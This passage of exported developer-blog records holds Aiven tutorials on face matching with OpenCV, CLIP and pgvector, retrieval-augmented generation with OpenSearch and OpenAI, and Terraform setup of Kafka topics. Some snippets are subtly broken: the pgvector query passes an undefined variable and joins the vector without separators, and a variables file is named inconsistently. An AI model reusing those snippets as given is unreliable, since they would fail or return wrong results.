YOUR TARGET IMAGE NAME HERE\u003e'\n    cv2.imwrite(\n        target_file_name,\n        cropped_image,\n    )\n```\n\nThe line that performs the magic is:\n\n```python\nfaces = haar_cascade.detectMultiScale(\n    gray_img,\n    scaleFactor=1.05,\n    minNeighbors=2,\n    minSize=(100, 100)\n)\n```\n\nWhere:\n* `gray_img` is the source image in which we need to find faces\n* `scaleFactor` is the scaling factor, the higher ratio the more compression and more loss in image quality\n* `minNeighbors` the amount of neighbour faces to collect. The higher the more the same face could appear multiple times.\n* `minSize` the minimum size of a detected face, in this case a square of 100 pixels.\n\nThe `for` loop iterates over all the faces detected and stores them in separate files; you might want to define a variable (maybe using the `x` and `y` parameters) to store the various faces in different files. Moreover, if you plan to calculate embeddings over a series of pictures, you'll want to encapsulate the above code in a loop parsing all the files in a specific folder.\n\nThe result of the face detection stage is not perfect: it identifies three faces out of the four that are visible, but is good enough for our purpose. You can fine tune the algorithm parameters to find the better fit for your use cases.\n\n### Calculate the embeddings\n\nOnce we identified the faces, we can now calculate the embeddings. For this step we are going to use [imgbeddings](https://github.com/minimaxir/imgbeddings), a Python package to generate embedding vectors from images, using [OpenAI](https://openai.com/)'s [CLIP model](https://github.com/openai/CLIP) via [Hugging Face](https://huggingface.co/) [transformers](https://huggingface.co/docs/transformers/index).\n\nTo calculate the embeddings of a picture, we need to first install the required packages via\n\n```shell\npip install imgbeddings\npip install pillow \n```\n\nAnd then include the following in a Python file\n\n```python\n# import the required libraries\nimport numpy as np\nfrom imgbeddings import imgbeddings\nfrom PIL import Image\n# load the face image from its file\nfile_name = \"INSERT YOUR FACE FILE NAME\"\nimg = Image.open(file_name)\n# loading `imgbeddings` so we can calculate embeddings\nibed = imgbeddings()\n# calculating the embedding for our image\nembedding = ibed.to_embeddings(img)[0]\n```\n\nThe code above calculates the embeddings. The result is a 768 element numpy vector for each input image, representing its embedding.\n\n### Store embeddings in PostgreSQL using `pgvector`\n\nIt's time to start using the capability of PostgreSQL and the `pgvector` extension. First of all we need a PostgreSQL up and running, we can navigate to the [Aiven Console](https://console.aiven.io/), create a new PostgreSQL selecting the favourite cloud provider, region and plan and enabling extra disk storage if needed. The `pgvector` extension is available in all plans. Once all the settings are ok, you can click on **Create Service**.\n\nOnce the service is up and running (it can take a couple of minutes), navigate to the service Overview and copy the **Service URI** parameter. We'll use it to connect to PostgreSQL via [psql](https://aiven.io/docs/products/postgresql/howto/connect-psql) with:\n\n```shell\npsql \u003cSERVICE_URI\u003e\n```\n\nOnce connected, we can enable the pgvector extension with:\n\n```sql\nCREATE EXTENSION vector;\n```\n\nAnd now we can create a table containing the picture name, and the embeddings with:\n\n```sql\nCREATE TABLE pictures (picture text PRIMARY KEY, embedding vector(768));\n```\n\nCheck out the `embedding vector(768)`, we are defining a vector of 768 dimensions, exactly the same dimension as the output of the `ibed.to_embeddings(img)` function in the previous step.\n\nTo load the embedding in postgreSQL we can use [psycopg2](https://aiven.io/docs/products/postgresql/howto/connect-python) by installing it with\n\n```shell\npip install psycopg2\n```\n\nand then using the following Python code always replacing the `\u003cSERVICE_URI\u003e` with the service URI\n\n```python\n# import the required libraries\nimport psycopg2\n# connect to our database and upload the record\nconn = psycopg2.connect('\u003cSERVICE_URI\u003e')\ncur = conn.cursor()\ncur.execute('INSERT INTO pictures values (%s,%s)', (file_name, embedding.tolist()))\nconn.commit()\nconn.close()\n```\n\nWhere `file_name` and `embedding` are the variables from the previous Python statement.\n\n### Get Slack image, retrieve face and calculate embeddings\n\nThe following steps in the process are similar to the ones already done above, this time the source image is the Slack profile picture where we'll detect the face and calculate the embeddings. The code above can be reused by changing the location of the source image.\n\n![Calculate embeddings from Slack picture](https://cdn.sanity.io/images/sczeoy4w/production/930aa859ed311be2253796c60e27c8c1ba7753ad-1740x402.jpg)\n\nThe code below can give you a starting point\n\n```python\n# load the image you want to search with\nfile_name = '\u003cINSERT YOUR SLACK IMAGE NAME HERE\u003e'\nimg = cv2.imread(file_name, cv2.IMREAD_GRAYSCALE)\n# find the faces\nfaces = haar_cascade.detectMultiScale(\n    gray_img,\n    scaleFactor=1.05,\n    minNeighbors=2,\n    minSize=(100, 100)\n)\n# load `imgbeddings` so we can calculate embeddings\nibed = imgbeddings()\n# for each face detected in the Slack picture\nfor x, y, w, h in faces:\n    # crop the image to select only the face\n    cropped_image = img[y : y + h, x : x + w]\n    # calculating its embedding\n    slack_img_embedding = ibed.to_embeddings(cropped_image)[0]\n```\n\nSince Slack pictures could be complex, the above code has a `for` loop iterating over all the detected faces. You might want to add additional checks to find the most relevant face to calculate the embeddings from.\n\n### Find similar images with vector search\n\nThe final piece of the puzzle is to use the similarity functions available in pgvector to find pictures where the person is included. pgvector provides [different similarity functions](https://aiven.io/docs/products/postgresql/concepts/pgvector#vector-similarity), depending on the type of search we are trying to perform. \n\nWe'll use the [distance](https://github.com/pgvector/pgvector#distances) function, that calculates the euclidean distance between two vectors for our search. To find the other pictures with closest distance we can use the following query in Python:\n\n```python\nconn = psycopg2.connect('\u003cSERVICE_URI\u003e')\ncur = conn.cursor()\nstring_representation = \"\".join(str(x) for x in slack_img_embedding.tolist())\ncur.execute(\"SELECT picture FROM pictures ORDER BY embedding \u003c-\u003e %s LIMIT 5;\", (string_rep,))\nrows = cur.fetchall()\nfor row in rows:\n    print(row)\n```\n\nWhere `slack_img_embedding` is the embeddings vector calculated on top of the Slack profile picture at the previous step. If everything is working correctly, you'll be able to see the name of top 5 pictures that are similar to the Slack profile image as input.\n\nThe results, in the crabweek case was five photos where my colleague Tibs was included!\n\n![Pictures of Tibs](https://cdn.sanity.io/images/sczeoy4w/production/ce39ec3c2f424a0e4074e42d8226c26fea2366cd-2000x1206.png)\n\n\n## pgvector, enabling Machine Learning in PostgreSQL\n\nMachine Learning is becoming pervasive in our day to day activities. Being able to store, query and analyse data embeddings in the same technology where the data resides, like a PostgreSQL database, can provide a number of benefits in machine learning democratisation and enable new use cases achievable by a standard SQL query.\n\nTo know more about pgvector and Machine Learning in PostgreSQL:\n\n* there's a Jupyter notebook containing a worked example of the above code over at https://github.com/Aiven-Labs/pgvector-image-recognition\n* pgvector [use cases and features description](https://aiven.io/docs/products/postgresql/concepts/pgvector)\n* [How to enable pgvector in Aiven for PostgreSQL](https://aiven.io/docs/products/postgresql/howto/use-pgvector)\n* pgvector [README on GitHub](https://github.com/pgvector/pgvector)","feature":{"_type":"featuredItem","active":false,"endDate":"2023-06-30T12:21:10.261Z"},"hierarchy":{"_ref":"34643944-d559-485e-93a0-7d1f94a744e7","_type":"reference"},"internalTags":[],"publishedAt":"2023-06-26T09:00:14.864Z","seo":{"_type":"metaData","metaDescription":"Learn how to utilise OpenCV, OpenAI CLIP and pgvector for image recognition on a corpus of photos. Simplify your workflows and visit the Aiven Developer Center!","metaImage":{"_type":"mainImage","alt":"The text \"Image recognition with Python, PostgreSQL and pgvector\" with the Aiven cuddly crab logo in the corner","asset":{"_ref":"image-61317ae978acd8d84f3b00230d02a0dd1d436309-2500x1308-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/find-faces-with-pgvector"},"subtitle":"Vector embeddings are key to ML, and here we describe how to use OpenCV, OpenAI CLIP and pgvector to generate vectors and use them to perform image recognition on a corpus of photos.","tags":[{"_key":"9eed573c2a17","_ref":"7585568a-42e1-4b7a-ba53-f416ed7c4ce2","_type":"tag"},{"_key":"4664853449d7","_ref":"3314b5d5-e0fa-4c8e-9f6e-a7564aa5c632","_type":"tag"},{"_key":"01c283e6da8b","_ref":"525f6516-2adf-4f0d-aab6-35835bd07e46","_type":"tag"},{"_key":"db598891c039","_ref":"6e718308-0932-4545-b8c2-c9df3013ec4e","_type":"tag"}],"title":"Image recognition with Python, OpenCV, OpenAI CLIP and pgvector"}
{"__i18n_lang":"en","_createdAt":"2024-03-07T11:22:17Z","_id":"a34b0b22-60ab-471c-b0a2-9704d9139e02","_rev":"EXzA9uxcM5girV4aqVwHqY","_type":"devArticle","_updatedAt":"2024-10-29T10:41:36Z","body":"Retrieval augmented generation (RAG) is an AI technique for retrieving facts from an external knowledge base to provide large language models (LLMs) on the most accurate, up-to-date context to be able to craft better replies and reduce the risk of hallucination.\n\nThis tutorial guides you through an example of using [Aiven for OpenSearch®](https://aiven.io/opensearch) as a backend vector database for OpenAI embeddings and how to perform text, semantic, or mixed search which can serve as basis for a RAG system. We'll use the set of Wikipedia articles as base knowledge to influence the replies of a chatbot.\n\n![Overall Flow including Aiven for OpenSearch, OpenAI](https://cdn.sanity.io/images/sczeoy4w/production/40f451d6b5c9481864e65cb2c429937304638dfd-8020x1610.png)\n\n\n## Why use OpenSearch as a backend vector database?\n\nOpenSearch is a widely adopted open source search/analytics engine. It allows to storing, querying and transforming of documents in a variety of shapes. It also provides fast and scalable functionality to perform both accurate and [fuzzy text search](https://opensearch.org/docs/latest/query-dsl/term/fuzzy/). Using OpenSearch as vector database enables you to mix and match semantic and text search queries on top of a performant and scalable engine.\n\n\u003c!--\n::banner[]{ctaText=\"Read more\" ctaLink=\"https://aiven.io/workshop/preparing-and-using-data-for-ai-with-langchain-and-opensearch\" title=\"Online workshop: Preparing and Using Data for AI with LangChain and OpenSearch®\" background=\"\" theme=\"light\"}\n--\u003e\n\n## Prerequisites\n\nBefore you begin, have the following:\n\n1. An [Aiven Account](https://console.aiven.io/signup). You can create an account and start a free trial with Aiven by navigating to the [signup page](https://console.aiven.io/signup) and creating a user.\n2. An [Aiven for OpenSearch service](https://aiven.io/opensearch). You can spin up an Aiven for OpenSearch service in minutes in the [Aiven Console](https://console.aiven.io/signup) with the following steps \n    * Click on **Create service**\n    * Select **OpenSearch**\n    * Choose the **Cloud Provider and Region**\n    * Select the **Service plan** (the `hobbyist` plan is enough for the notebook)\n    * Provide the **Service name**\n    * Click on **Create service**\n3. The OpenSearch **Connection String**. The connection string is visible as **Service URI** in the Aiven for OpenSearch service overview page.\n4. Your [OpenAI API key](https://platform.openai.com/account/api-keys)\n5. Python and `pip` installed locally.\n\n## Installing dependencies\n\nThe tutorial requires the following Python packages:\n\n* `openai`\n* `pandas`\n* `wget`\n* `python-dotenv`\n* `opensearch-py`\n\nYou can install the above packages with:\n\n```bash\npip install openai pandas wget python-dotenv opensearch-py\n```\n\n## OpenAI key settings\n\nWe'll use OpenAI to create embeddings starting from a set of documents, so we need an API key. You can get one from the [OpenAI API Key page](https://platform.openai.com/account/api-keys) after logging in.\n\nTo avoid leaking the OpenAI key, you can store it as an environment variable named `OPENAI_API_KEY`. \n\n::alert[For more information on how to perform the same task across other operative systems, refer to [Best Practices for API Key Safety](https://help.openai.com/en/articles/5112595-best-practices-for-api-key-safety).]{title=\"Info\"} \n\nTo store safely the information, create a `.env` file in the same folder where the notebook is located and add the following line, replacing the `\u003cINSERT_YOUR_API_KEY_HERE\u003e` with your OpenAI API Key.\n\n```bash\nOPENAI_API_KEY=\u003cINSERT_YOUR_API_KEY_HERE\u003e\n```\n\n## Connect to Aiven for OpenSearch\n\nOnce the Aiven for OpenSearch service is in the `RUNNING` state, we can retrieve the connection string from the Aiven for OpenSearch service page.\n\nCopy the **Service URI** paramete and store it in the same `.env` file created above, after replacing the `https://USER:PASSWORD@HOST:PORT` string with the Service URI.\n\n```bash\nOPENSEARCH_URI=https://USER:PASSWORD@HOST:PORT\n```\n\nWe can now connect to Aiven for OpenSearch by adding the following code in Python:\n\n```python\nimport os\nfrom opensearchpy import OpenSearch\nfrom dotenv import load_dotenv\n\n# Load environment variables from .env file\nload_dotenv()\n\nconnection_string = os.getenv(\"OPENSEARCH_URI\")\n\n# Create the client with SSL/TLS enabled, but hostname verification disabled.\nclient = OpenSearch(connection_string, use_ssl=True, timeout=100)\n```\n\nThe code above reads the OpenSearch connection string from the `.env` file (`os.getenv(\"OPENSEARCH_URI\")`) and creates a client connection using SSL with a timeout of `100` seconds.\n\n## Download the dataset\n\nIn theory we could use any dataset for this purpose, and you are more than welcome to bring your own. However, for simplicity's sake and to avoid the need to calculate embeddings on a huge dataset of documents, we'll use a set with pre-calculated OpenAI embeddings which score Wikipedia articles. We can get the file and unzip it with:\n\n```bash\nimport wget\nimport zipfile\n\nembeddings_url = 'https://cdn.openai.com/API/examples/data/vector_database_wikipedia_articles_embedded.zip'\nwget.download(embeddings_url)\n\nwith zipfile.ZipFile(\"vector_database_wikipedia_articles_embedded.zip\",\n\"r\") as zip_ref:\n    zip_ref.extractall(\"data\")\n```\n\nLet's load the file in a pandas dataframe and check its content with:\n\n```python\nimport pandas as pd\n\nwikipedia_dataframe = pd.read_csv(\"data/vector_database_wikipedia_articles_embedded.csv\")\n\nwikipedia_dataframe.head()\n```\n\nThe file contains:\n* `id` a unique Wikipedia article identifier\n* `url` the Wikipedia article URL\n* `title` the title of the Wikipedia page\n* `text` the text of the article\n* `title_vector` and `content_vector` the embedding calculated on the title and content of the wikipedia article respectively\n* `vector_id` the id of the vector\n\n## Define the OpenSearch mapping to store the OpenAI embeddings\n\nTo properly store and query all the fields included in the dataset, we need to define an OpenSearch index settings and mapping optimized for the storage of the information, including the embeddings. For this purpose we can define the settings and the mappings via:\n\n```Python\nindex_settings ={\n    \"index\": {\n      \"knn\": True,\n      \"knn.algo_param.ef_search\": 100\n    }\n  }\n\nindex_mapping= {\n    \"properties\": {\n      \"title_vector\": {\n          \"type\": \"knn_vector\",\n          \"dimension\": 1536,\n          \"method\": {\n            \"name\": \"hnsw\",\n            \"space_type\": \"l2\",\n            \"engine\": \"faiss\"\n        }\n      },\n      \"content_vector\": {\n          \"type\": \"knn_vector\",\n          \"dimension\": 1536,\n          \"method\": {\n            \"name\": \"hnsw\",\n            \"space_type\": \"l2\",\n            \"engine\": \"faiss\"\n        },\n      },\n      \"text\": {\"type\": \"text\"},\n      \"title\": {\"type\": \"text\"},\n      \"url\": { \"type\": \"keyword\"},\n      \"vector_id\": {\"type\": \"long\"}\n      \n    }\n}\n```\n\nThe code above:\n* Defines an index with `knn` search enabled. The k-nearest neighbors (k-NN) search searches a vector space (generated by embeddings) in order to retrieve the _k_ closest vectors. You can read more in the [OpenSearch k-NN documentation](https://opensearch.org/docs/latest/search-plugins/knn/index/).\n* Defines a mapping with:\n    * `title_vector` and `content_vector` of type `knn_vector` and `1536` dimension (vector with 1536 entries)\n    * `text`, containing the article text as a `text` field\n    * `title`, containing the article title as a `text` field\n    * `url`, containing the article text as a `keyword` field\n    * `vector_id`, containing the id of the vector as `long` field\n\nWith the settings and mappings defined, we can now create the `openai_wikipedia_index` index in Aiven for OpenSearch with:\n\n```python\nindex_name = \"openai_wikipedia_index\"\nclient.indices.create(\n        index=index_name, \n        body={\"settings\": index_settings, \"mappings\":index_mapping}\n        )\n```\n\n## Load data into OpenSearch\n\n![Load data in OpenSearch®](https://cdn.sanity.io/images/sczeoy4w/production/ed814747e2ed138c8c1bed58e34b559e52da4b7d-3880x1610.png)\n\n\nWith the index created, the next step is to parse the the pandas dataframe and load the data into OpenSearch using the [Bulk APIs](https://opensearch.org/docs/latest/api-reference/document-apis/bulk/). The following function loads a set of rows in the dataframe:\n\n```python\ndef dataframe_to_bulk_actions(df):\n    for index, row in df.iterrows():\n        yield {\n            \"_index\": index_name,\n            \"_id\": row['id'],\n            \"_source\": {\n                'url' : row[\"url\"],\n                'title' : row[\"title\"],\n                'text' : row[\"text\"],\n                'title_vector' : json.loads(row[\"title_vector\"]),\n                'content_vector' : json.loads(row[\"content_vector\"]),\n                'vector_id' : row[\"vector_id\"]\n            }\n        }\n```\n\nTo speed up ingestion we can load the data in batches of `200` rows.\n\n```python\nfrom opensearchpy import helpers\nimport json\n\nstart = 0\nend = len(wikipedia_dataframe)\nbatch_size = 200\nfor batch_start in range(start, end, batch_size):\n    batch_end = min(batch_start + batch_size, end)\n    batch_dataframe = wikipedia_dataframe.iloc[batch_start:batch_end]\n    actions = dataframe_to_bulk_actions(batch_dataframe)\n    helpers.bulk(client, actions)\n```\n\nOnce all the documents are loaded, we can try a query to retrieve the documents containing `Pizza`:\n\n```python\nres = client.search(index=index_name, body={\n    \"_source\": {\n        \"excludes\": [\"title_vector\", \"content_vector\"]\n    },\n    \"query\": {\n        \"match\": {\n            \"text\": {\n                \"query\": \"Pizza\"\n            }\n        }\n    }\n})\n\nprint(res[\"hits\"][\"hits\"][0][\"_source\"][\"text\"])\n```\n\nThe result is the Wikipedia article talking about `Pizza`:\n\n```\nPizza is an Italian food that was created in Italy (The Naples area). It is made with different toppings. Some of the most common toppings are cheese, sausages, pepperoni, vegetables, tomatoes, spices and herbs and basil. These toppings are added over a piece of bread covered with sauce. The sauce is most often tomato-based, but butter-based sauces are used, too. The piece of bread is usually called a \"pizza crust\". Almost any kind of topping can be put over a pizza. The toppings used are different in different parts of the world. Pizza comes from Italy from Neapolitan cuisine. However, it has become popular in many parts of the world.\n\nHistory \nThe origin of the word Pizza is uncertain. The food was invented in Naples about 200 years ago. It is the name for a special type of flatbread, made with special dough. The pizza enjoyed a second birth as it was taken to the United States in the late 19th century.\n\n...\n```\n\n# Encode chatbot questions with OpenAI text-embedding-ada-002 model\n\n![Encoding questions with OpenAI text-embedding-ada-002 model](https://cdn.sanity.io/images/sczeoy4w/production/6f2356a34e44102a6e2c8d6c37909e2542ccf309-3180x706.png)\n\nTo perform a semantic search, we need to calculate question encodings with the same embedding model used to encode the documents at index time. In this example, we need to use the `text-embedding-ada-002` model.\n\n```python\nfrom openai import OpenAI\n\n# Define model\nEMBEDDING_MODEL = \"text-embedding-ada-002\"\n\n# Define the Client\nopenaiclient = OpenAI(\n    # This is the default and can be omitted\n    api_key=os.getenv(\"OPENAI_API_KEY\"),\n)\n\n# Define question\nquestion = 'is Pineapple a good ingredient for Pizza?'\n\n# Create embedding\nquestion_embedding = openaiclient.embeddings.create(input=question, model=EMBEDDING_MODEL)\n```\n\n# Run semantic search queries with OpenSearch\n\n\n![Semantic Search with OpenSearch](https://cdn.sanity.io/images/sczeoy4w/production/29c0a9913c5483aa1cc36c4777568f9fa301da64-3944x1610.png)\n\nWith the above embedding calculated, we can now run semantic searches against the OpenSearch index to retrieve the necessary context for the retrieval-augmented generation. We're using `knn` as query type and scan the content of the `content_vector` field.\n\n```python\nresponse = client.search(\n  index = index_name,\n  body = {\n      \"size\": 15,\n      \"query\" : {\n        \"knn\" : {\n          \"content_vector\":{\n          \"vector\":  question_embedding.data[0].embedding,\n          \"k\": 3\n        }\n      }\n    }\n  }\n)\n\nfor result in response[\"hits\"][\"hits\"]:\n  print(\"Id:\" + str(result['_id']))\n  print(\"Score: \" + str(result[\"_score\"]))\n  print(\"Title: \" + str(result[\"_source\"][\"title\"]))\n  print(\"Text: \" + result[\"_source\"][\"text\"][0:100])\n```\n\nThe result is the list of articles ranked by score:\n\n```\nId:13967\nScore: 13.94602\nTitle: Pizza\nText: Pizza is an Italian food that was created in Italy (The Naples area). It is made with different topp\nId:90918\nScore: 13.754393\nTitle: Pizza Hut\nText: Pizza Hut is an American pizza restaurant, or pizza parlor. Pizza Hut also serves salads, pastas and\nId:66079\nScore: 13.634726\nTitle: Pizza Pizza\nText: Pizza Pizza Limited (PPL), doing business as Pizza Pizza (), is a franchised Canadian pizza fast foo\nId:85932\nScore: 11.388243\nTitle: Margarita\nText: Margarita may mean:\n The margarita, a cocktail made with tequila and triple sec\nMargarita Island, a \nId:13968\nScore: 10.576359\nTitle: Pepperoni\nText: Pepperoni is a meat food that is sometimes sliced thin and put on pizza. It is a kind of salami, whi\nId:87088\nScore: 9.424156\nTitle: Margherita of Savoy\n...\n```\n\n## Use OpenAI Chat Completions API to generate a RAG reply\n\n![retrieval-augmented generation reply](https://cdn.sanity.io/images/sczeoy4w/production/8b9823ee07eafbcf1de9d6732638979235296791-3180x840.png)\n\nThe step above retrieves the content semantically similar to the question. Now let's use OpenAI chat `completions` function to return a retrieval-augmented generated reply based on the information retrieved.\n\n```python\n# Retrieve the text of the first result in the above dataset\ntop_hit_summary = response['hits']['hits'][0]['_source']['text']\n\n# Craft a reply\nresponse = openaiclient.chat.completions.create(\n    model=\"gpt-3.5-turbo\",\n    messages=[\n        {\"role\": \"system\", \"content\": \"You are a helpful assistant.\"},\n        {\"role\": \"user\", \"content\": \"Answer the following question:\" \n            + question \n            + \"by using the following text:\" \n            + top_hit_summary\n        }\n        ]\n    )\n\nchoices = response.choices\n\nfor choice in choices:\n    print(choice.message.content)\n```\n\nThe result is going to be similar to the below:\n\n```\nPineapple is a contentious ingredient for pizza, and it is commonly used at Pizza Pizza Limited (PPL), a Canadian fast-food restaurant with locations throughout Ontario. The menu includes a variety of toppings such as pepperoni, pineapples, mushrooms, and other non-exotic produce. Pizza Pizza has been a staple in the area for over 30 years, with over 500 locations in Ontario and expanding across the nation, including recent openings in Montreal and British Columbia.\n```\n\n\n## Conclusion\n\nOpenSearch is a powerful tool providing both text and vector search capabilities. Used alongside OpenAI APIs allows you to craft personalized AI applications able to augment the context based on semantic search, and return responses to queries that are augmented by AI. A logical next step would be to pair OpenSearch with another storage system to, for example, store the responses that your customers find useful and train the model further. Building an end to end system including a databases like PostgreSQL® and a streaming integration with Apache Kafka® could provide the resiliency of a relational database and the hybrid search capability of OpenSearch with data feeding in near real time.\n\nYou can try Aiven for OpenSearch, or any of the other Open Source tools, in the Aiven platform free trial by [signing up](https://console.aiven.io/signup).","feature":{"_type":"featuredItem","active":false,"endDate":"2024-03-14T11:22:00.736Z"},"hierarchy":{"_ref":"34643944-d559-485e-93a0-7d1f94a744e7","_type":"reference"},"internalTags":[{"_key":"7219aea8cd15","_ref":"e518505d-84ca-4d42-8c11-077ba192bf3e","_type":"tag"}],"publishedAt":"2024-03-07T10:59:30.185Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","alt":"The words \"retrieval audmented generation with OpenAi and OpenSearch\" in white on a blue background. The Aiven logo is in the bottom left.","asset":{"_ref":"image-659909932ef93c52c1b1b3f1c5c8d460b21f59c0-1567x844-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/retrieval-augmented-generation-openai-opensearch"},"subtitle":"Use OpenSearch® as a vector database to generate responses to user queries using AI","tags":[{"_key":"3a6a54b3fc90","_ref":"38383182-1206-4b02-8aee-37da4e24f936","_type":"tag"},{"_key":"9ef182332fc4","_ref":"17773fab-43cf-4f70-873a-8da1274cde0f","_type":"tag"},{"_key":"d610834e7653","_ref":"525f6516-2adf-4f0d-aab6-35835bd07e46","_type":"tag"},{"_key":"5b2cde873ff1","_ref":"88d61a12-59e1-4532-a812-c2da586315f2","_type":"tag"}],"title":"Retrieval augmented generation with OpenAI and OpenSearch®"}
{"__i18n_lang":"en","_createdAt":"2023-03-24T14:54:08Z","_id":"454a6093-57c2-4a49-9fad-c195f722e9ea","_rev":"ZLvKaZvfbZlWBlGcpIpWCL","_type":"devArticle","_updatedAt":"2024-01-29T15:45:39Z","body":"One of the joys of cloud data platforms is the ability to quickly and easily create and configure services. Often I'm working on more than one project at a time, so by using Terraform to create/recreate the setup, I can swiftly get going again when I return to the task. I've recently been working with Apache Kafka® quite a bit, using Terraform to recreate the topics that my application uses, and I'll be sharing my approach in this post.\n\n## Before we begin\n\nI encourage you to try these steps out yourself, and adapt the examples as you go along to meet your own requirements. To do that, you will need:\n\n* [Terraform](https://www.terraform.io/) set up on your computer.\n* An Aiven account ([sign up](https://console.aiven.io/signup) if you don't have one already, there's a free trial)\n\n## Aiven Terraform provider\n\nAiven publishes a Terraform provider, which is great because it gives everything required to create, configure and delete services on the Aiven platform. You can find [more information about the Aiven Terraform provider](https://aiven.io/docs/tools/terraform) in the documentation, but configuring the basics is a good place to start.\n\n## Set up the provider\n\nFor a new project, run `terraform init` in the directory where you will keep your `*.tf` files, and then create a file called `provider.tf` containing the text below. This tells Terraform which provider to use (`aiven`), including the version (`3.7` or later). The provider is essentially an API client, so you also need to declare a variable for the API token that the Aiven provider can use.\n\nIf you already have a Terraform project, you can add these blocks alongside your other provider configurations.\n\n```terraform\nterraform {\n  required_providers {\n    aiven = {\n      source  = \"aiven/aiven\"\n      version = \"\u003e= 3.7\"\n    }\n  }\n}\n\nprovider \"aiven\" {\n  api_token = var.aiven_api_token\n}\n```\n\n## Configure the variables\n\nFor this project, there are two variables:\n* the Aiven API token\n* the project name\n\n\u003e Tip: you can also [use a data source to represent the project](https://aiven.io/docs/tools/terraform/concepts/data-sources.html), but using the project name is simple and works too!\n\nWorking with variables is done in two steps. The first step is defining the variables that are required, which I'm doing in a file called `variables.tf`:\n\n```terraform\nvariable \"aiven_api_token\" {\n  description = \"Aiven API token\"\n  type        = string\n}\n\nvariable \"project_name\" {\n  description = \"Aiven project name\"\n  type        = string\n}\n```\n\nThe variables are not very exciting without their values. Use a [variable definitions file](https://www.terraform.io/language/values/variables#variable-definitions-tfvars-files) called `aiven.tfvars` (we're including the example API token value, don't worry this one isn't real):\n\n```\nproject_name    = \"dev-project\"\naiven_api_token = \"oalk0W1m+Lhss0CPrMfOqvXBp+LDB0LAC4lxbSzEYS7A/dAhnTZOiM5leC1NzIUZnVLHAr9eVESKSB41tgttFGqAWbxiYI5iPNB8CZTohwi91dsULj5uwXyHfho+M94yhC8srl84oEsnXExksNkLolvKcvwJ6IIw5c14c3Mt+FUwcenl9BA2LkC9DNJ/TDoM3qfHXXLaTknW3IbB3SIUR4YFE+ru/i7REEfYcj41YhdBqXANzRM0ETwSraOCVV7cuOyZR5UrWuwFzgWf54Qqy/mILxQR9PwSXzRSuZ6pBMH2chkPF4mZlGoJjjDWuE+CPFo9EysGlWYWAAZThtvor11iQM9/JtvjzLYqfvZzvbgP\"\n```\n\nThe `*.tf` files don't contain any secret values, so can safely be checked into source control.\nThe `aiven.tfvars` file doesn't get checked into source control, but is supplied to Terraform operations as needed.\nMixing configuration and values feels like it might be a useful shortcut, but it usually leads to regrets.\n\n## Set up Apache Kafka\n\nFor non-trivial setups, recreating the topics can be laborious. In a dev environment, it's tempting to allow Kafka to create the topics automatically when they're accessed. This is ideal for prototyping but makes it difficult to keep track of the topics in use, and too easy to work with a slightly misspelled topic without realising. Being able to quickly recreate a specific set of topics is very useful and Terraform lets us do that.\n\nThis example also creates an Apache Kafka® resource, but you could equally [use a data source](https://aiven.io/docs/tools/terraform/concepts/data-sources) if your goal is to configure topics on an existing cluster. Here's the file with the cluster defined:\n\n```terraform\nresource \"aiven_kafka\" \"project_kafka\" {\n  project                 = var.project_name\n  cloud_name              = \"google-europe-west1\"\n  plan                    = \"business-4\"\n  service_name            = \"lorna-kafka-demo\"\n  maintenance_window_dow  = \"monday\"\n  maintenance_window_time = \"10:00:00\"\n  kafka_user_config {\n    kafka_version = \"3.2\"\n    schema_registry = true\n    kafka_rest      = true\n    kafka {\n      default_replication_factor = 2\n    }\n  }\n}\n```\n\nThe Aiven for Apache Kafka Terraform resource type has a lot of available configuration options. Take a look at the [documentation for the `aiven_kafka` resource type](https://registry.terraform.io/providers/aiven/aiven/latest/docs/resources/kafka#schema) for a very long list of what you can use in this configuration block. This example [enables the Karapace Schema Registry](https://aiven.io/docs/products/kafka/karapace/howto/enable-karapace.html) and the [REST API](https://aiven.io/docs/products/kafka/concepts/kafka-rest-api), which is generally a good default.\n\n## Define the desired topics \n\nThe topics are in a different file, using the resource name of the cluster already defined to set the service name for each topic:\n\n```terraform\nresource \"aiven_kafka_topic\" \"user_activity\" {\n  project      = var.project_name\n  service_name = aiven_kafka.project_kafka.service_name\n  topic_name   = \"user_activity\"\n  partitions   = 3\n  replication  = 2\n}\n\nresource \"aiven_kafka_topic\" \"avatars\" {\n  project      = var.project_name\n  service_name = aiven_kafka.project_kafka.service_name\n  topic_name   = \"avatars\"\n  partitions   = 3\n  replication  = 2\n}\n\nresource \"aiven_kafka_topic\" \"event_logs\" {\n  project      = var.project_name\n  service_name = aiven_kafka.project_kafka.service_name\n  topic_name   = \"event_logs\"\n  partitions   = 3\n  replication  = 2\n}\n```\n\nFor more options on configuring the topic, visit the [configuration documentation](https://registry.terraform.io/providers/aiven/aiven/latest/docs/resources/kafka_topic#nested-schema-for-config) for this resource type.\n\nDescribing the topics like this is a nice way to think about how they should be configured, and of course the text-based approach means that changes can be tracked easily, versions compared, or setups shared with others for their own use.\n\n## Deploy the cluster and topics\n\nWith the provider, variables, Aiven for Apache Kafka cluster and desired topics configured, Terraform can bring our dreams to life. Start by running the `terraform plan` command. Since we put the variables in a separate file we can use the `-var-file` switch to specify it. Your command looks something like:\n```shell\n    terraform plan -var-file=values.tfvars\n```\nThe (long-winded) output of this command will end by announcing the number of resources to add, change or destroy. In this case, with one cluster and three topics, there are 4 things to add. If the plan outputs the expected value, then go ahead and use the `apply` command to enact the changes:\n```shell\n    terraform apply -var-file=values.tfvars\n```\n\n## Terraform for fast and repeatable service configuration\n\nI use a lot of scripts like this for different demo or work-in-progress projects, and I hope you'll find this approach useful in your own work as well. Rather than trying to take notes or remember what to do, write it once and run it as many times as needed.\n\nFor more starter Terraform configuration, visit the [Aiven Terraform cookbook](https://aiven.io/docs/tools/terraform/reference/cookbook.html) where you will find plenty of ingredients for you to cook up something to meet your own needs.\n\nIf you are new to Terraform, try our [step-by-step guide to get you started](https://aiven.io/docs/tools/terraform/get-started.html) with detailed 